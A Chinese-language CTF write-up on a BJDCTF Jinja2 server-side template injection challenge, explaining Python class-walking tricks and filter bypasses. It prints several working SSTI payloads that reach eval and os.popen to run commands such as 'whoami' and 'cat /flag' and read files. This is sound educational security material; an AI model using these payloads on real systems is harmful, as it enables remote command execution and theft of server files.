上周BJDCTF有一道ssti注入题,当时瞎猫碰上死耗子,给我撞过去了。对Python,平常也没有C++和java用的频繁,记录一下正常思路。顺便学习一下,以后遇到了不能光靠运气撞过去了= =
一些简单注入
1 2 3
| {{config}}可以获取当前设置 {{self}} {{self.__dict__._TemplateReference__context.config}} 同样可以看到config
|
__class__ 返回类型所属的对象
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__ 返回该对象所继承的基类
__builtins__是做为默认初始模块
[BJDCTF 2nd]fake google
大部分都是先查找warnings.catch_warnings模块中的OS模块,如果关键字被禁用了,可以用base64或者字符串拼接过去比如说'o'+'s'
还可以用tplmap这个工具进行检测是否有模板注入漏洞,用法有点像sqlmap。
第一种
1 2 3 4 5 6 7 8 9 10
| ().__class__.__bases__[0].__subclasses__() ---查看可用模块
().__class__.base__.__subclasses__().index(warnings.catch_warnings) 可以查看当前位置,不过题目环境不能用。手动数吧= = 169位
{{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}} 发现可以执行,构造命令 {{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}} 没有什么过滤= =友好!
|
第二种
1 2 3 4 5
| 或者找到os._wrap_close模块 117个 {{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('dir').read()}} 当前文件夹 {{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}} 来打开文件,payload有很多慢慢摸索慢慢积累= =
|
第三种
1 2 3
| 我的payload: {{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}} 我找的threading.Semaphore模块。。
|
参考
CTF SSTI(服务器模板注入)
BJDCTF-WP
SSTI/沙盒逃逸详细总结
https://xz.aliyun.com/t/3679